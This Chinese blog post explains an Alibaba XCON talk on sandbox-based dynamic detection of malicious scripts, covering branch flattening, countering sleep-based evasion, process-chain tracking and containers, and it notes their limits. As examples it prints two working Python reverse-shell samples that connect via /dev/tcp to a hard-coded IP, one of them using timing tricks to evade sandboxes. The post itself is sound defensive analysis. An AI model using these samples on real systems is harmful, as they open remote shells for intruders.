概述
关于webshell检测我们已经讲了很多理论的东西,最近在网络上搜到了一篇阿里的主机层入侵检测团队在XCON(安全焦点安全信息技术峰会)上的一篇演讲PPT,名字为《云安全环境下恶意脚本检测的最佳实践》,反复阅读了几遍之后,发现他们的一些检测方式非常有创新性,于是决定专门写篇文章来解读下这篇PPT。
当然,没有一种检测方式是万能的,甚至很多时候我们对某种威胁姿势做了很多努力,最终发现按下葫芦浮起瓢,所以除了单纯的解读方案之外,我也会给出他们的检测方式存在的局限性。
最后,想阅读原文的小伙伴可以去文末的链接去下载原版PPT。
阿里的方案
阿里的方案本质上是采用的动态检测的方式来发现恶意特征。动态检测的核心是代码执行,即通过某种手段对待检测代码进行模拟或者真实的执行,通过执行过程中表现出来的动态特征来判断是否存在恶意行为,比如我们上期讲的taint扩展就是在脚本解释器中注入检测逻辑,通过组合危险函数和外部输入来判断恶意。
在真实的执行环境上去抓取动态特征往往存在很大的风险,比如代码bug导致程序崩溃而影响正常业务,过多的检测逻辑拖慢了业务的性能。所以为了不影响正常业务的运行,通常的做法是在一个独立且隔离的环境中去执行动态检测,而阿里就是采用了脚本沙箱的检测和部署架构。
阿里脚本沙箱的物理架构如下:

最底层的运行环境可以是虚拟机也可以是物理机,上层是docker容器,该容器内部部署了经过深度定制化的各种语言的脚本解释器,每个脚本解释器都作为容器内的默认解释器加入到环境变量PATH中。每检测一个恶意样本需要启动这样一个docker容器,检测完成后关闭该容器,释放资源。
下面我们先来看看定制化的脚本解释器。
定制化的脚本解释器
为了达到动态检测的效果,那么就必须对脚本的执行过程进行干预,所以修改脚本的解释器就自然而然地成为了一个不错地选择。
我们知道,脚本语言的执行都依赖于对应的解释器,解释器以对应脚本作为输入,内部进行语法分析、词法分析生成opcode序列,按照opcode序列调用每个opcdoe的处理函数来达到无需编译便可执行的效果。

所以理论上我们可以在脚本执行的每一个步骤加入我们自己定制化的逻辑来影响脚本的执行过程,不过通常情况下我们使用函数hook和opcode hook来实现执行过程的干预和执行信息记录。
阿里针对常用脚本语言的解释器进行了定制化,根据ppt中的描述,其只对opcode的处理函数做了定制。通过定制opcode的处理函数,可以控制脚本的执行流程,其中最重要的就是可以实现对脚本中各类分支的展平,下面我们就来看看分支展平是什么,它解决了什么问题?
分支展平
我们先来看一个样本,代码如下:
import os
import datetime
import time
user = os.popen("whoami").read().strip('\n')
if user == 'root':
exit()
else:
data = '''/bin/bash -i >& '''
data1 = '''/dev/tcp/222.25.1.123/8888 0>&1'''
def logfile():
with open('a.log', 'w') as f:
f.write(data+data1)
os.system('bash a.log')
logfile()
这是一个典型的反弹shell恶意python脚本,注意看第六行有个if判断,如果是我们正常去执行它得话,很可能导致if的条件被满足而执行了exit函数退出了,else分支的内的内容无法被执行到。而且复杂的样本不止有if-else分支,还包括elif、while/for、try-except等等。
一个比较直观的解决方法就是我们强制让if语句块和else语句块或者其他分支的语句块中的内容都执行到就可以了,那如何让它们都被执行到呢,阿里给出了两种方案,一个是栈回溯,一个是分支展平,我们一个一个来看。
首先来看栈回溯,虚拟机把源代码编译成opcode序列后,可以根据跳转指令把opcode序列划分为一个一个的block,跳转指令对应的就是分支语句的条件,所以我们可以根据跳转指令把opcode序列切分成一个个的对应源代码中分支的block。然后再根据这些划分好的block画出CFG(控制流程图),有了CFG,就可以通过遍历CFG图来解决所有分支中的语句都执行到的问题。以下面的例子举例,只需要遍历CFG中的每个节点,不管是采用深度优先遍历,还是广度优先遍历,只要执行每个节点中的block就可以了。

不过这个方案看上去很美好,但却几乎无法实现,其中的复杂度主要来源于两方面。一个就是如何保证在遍历完CFG的某个分支后,回到父节点时,能够还原全局遍历和程序状态到执行这个分支之前的状态,是不是想想头都大了。第二个,也是最致命的问题就是分支爆炸,遍历CFG图的每一条路径的时间复杂度是指数级的,你可以想象下有64个分支的时候,2的64次方是个多大的数字,宇宙中沙子的总和都没有这么多。
栈回溯的解法被否定之后,我们再来看下分支展平的解法。

如上图所示,只需要将之前二选一或多选一的分支判断去掉,把跳转执行改为顺序执行,来达到执行所有语句块的目的。跳过所有分支语句在实现上对比栈回溯要简单许多,理论上只需要把opcode中所有的跳转指令不执行即可达到目的。
当然分支展平虽然也能达到执行所有语句块的目的,但是强制拉平分支却会改变原有的代码行为,比如在两个互斥的if-else分支中都存在同一个变量的赋值,因为else分支在if分支之后,分支展平的话则是取了else语句块中的赋值,if语句块中的赋值被覆盖掉了。如果if中的赋值才是恶意脚本生效的值,那么就会产生漏报。
反时间对抗
接下来我们来看阿里ppt中提到的另两个反对抗的方法,先来看下反时间对抗。所谓反时间对抗,是指脚本中使用了一些时间控制函数,比如sleep睡眠函数等等,通过控制时间的值来阻止动态检测时获取正确的值。先来看一个时间对抗的样本:
import os
import datetime
import time
starttime = datetime.datetime.now()
time.sleep(12)
endtime = datetime.datetime.now()
ttl = (endtime-starttime).seconds
data = {}
data['10'] = '''/bin/bash -i >& '''
data['11'] = '''/dev/tcp/222.25.1.123/8888 0>&1'''
def is_sandbox(n):
return n > 5
newlist = filter(is_sandbox, range(10, ttl))
payload = data[str(newlist[0])] + data[str(newlist[1])]
def logfile():
with open('a.log', 'w') as f:
f.write(payload)
os.system('bash a.log')
logfile()
动态检测肯定不能真的去执行sleep函数,这会导致检测程序挂在那什么也做不了,白白浪费检测时间。那怎么才能获取上个样本中ttl的值呢?阿里是这么做的:

当脚本执行sleep函数时,将对面时间记录到外部存储中,然后在后面调用获取时间的系统函数时再在当前时间的基础上加上外部存储中保存的睡眠时间。
之所以将睡眠时间保持在外部存储中,是因为sleep的睡眠效果是全局跨进程的,比如在python脚本中进行了睡眠,后续调用了shell脚本来获取时间,如果只在python进程中在内存中记录的那么在shell脚本进程中就无法获得睡眠后的时间了。
阿里解决时间对抗的方法也比较直观,但是说实话只对那种傻白甜的样本有效,即睡眠时间是写死在样本里的,如果睡眠时间是外部传入的,比如从一个socket中获取的,那么睡眠时间是没有一个具体的值的,那再去记录的话只能是记录脚本曾经睡眠过,具体的睡眠时间未知。如果睡眠时间未知的话,那上面那个脚本的例子也就无法被正常执行了,只能去粗劣的判断一个文件被写过,且文件的内容与睡眠时间有关,然后又执行了这个文件,通过这三个条件去判断这个脚本有问题。
进程链跟踪
所谓进程链跟踪指的是记录脚本执行过程中整个父子进程的树状结构,这个特性主要用于多语言脚本互相调用的情况下。

上图的例子中python脚本中调用了shell脚本来执行反弹shell,通过进程链可以很清楚的看到整个调用过程是怎么发生的。在进程链的基础上,可以应用很多其他其他的核心技术来精准获取进程行为。
比如基于管道获得父子进程间的输入输出关系:

上面的例子中,结合进程链和管道的关系,可以得知bash进程的输入最终来自于curl进程的外部输入。
容器
容器在阿里的整个检测框架中起到了一个至关重要的整合者角色。想想看,这么多语言的脚本解释器如何处理它们之间的互相调用,如何处理它们与操作系统之间的交互,比如读写文件,无疑容器是一个非常好的虚拟环境。
先简单介绍下他们的容器部署方案:
- 多种脚本解释器全部部署在同一个容器镜像内;
- 每检测一个样本需要启动一个容器,这个容器作为沙箱模拟了真实的运行环境,检测结束后销毁容器;
- 每种脚本解释都作为容器内的默认脚本执行解释器;
- 解决了多脚本解释器互相调用的问题,比如python脚本调用了shell脚本,自动调用,无需自己写调用逻辑代码;
这个方案的优势在于:
- 与操作系统相关的功能直接放开执行,比如执行系统命令、读写文件、设置环境变量等等。以读写一个文件为例,脚本中该怎么写那实际中就怎么写,后续在读这个文件时读到的内容就是之前写的内容,而不用管脚本是怎么变着花样写的。
- 更容易整合多脚本解释器,并且可以通过旁路的机制可以得知两个脚本间的输入输出关系,以及系统内执行了何种命令,方便做关联分析。比如python脚本中调用了经过混淆的bash命令,只通过python脚本引擎本身没办法做解混淆,但通过启动的bash引擎则可以完整拿到解混淆后的命令;
关于第一个优势,也有一些需要注意的点,当恶意样本执行的命令、写文件的内容等等不依赖外部输入时效果会很好,但是一旦与外部输入相关了就需要单脚本解释器自身的定制能力来做判断了,所以单解释器本身的能力是至关重要的。
此外,如果无限制的执行命令或者读写文件,可能会产生沙箱逃逸行为,这个也需要注意。
总结
阿里的这篇ppt我反复阅读了几遍,其中几个点非常有启发性,比如分支展平和容器的使用,而且据说他们在整个检测中采用了200+的特性,主流的脚本语言也都覆盖到了,感觉还是很了不起的。
不过,也正如他们所说,对抗与反对抗是个永恒的话题,没有完美的检测手段,只能在对抗的过程中不断完善自己。
ppt下载链接
http://yundunpr.oss-cn-hangzhou.aliyuncs.com/2020/xcon2020.pdf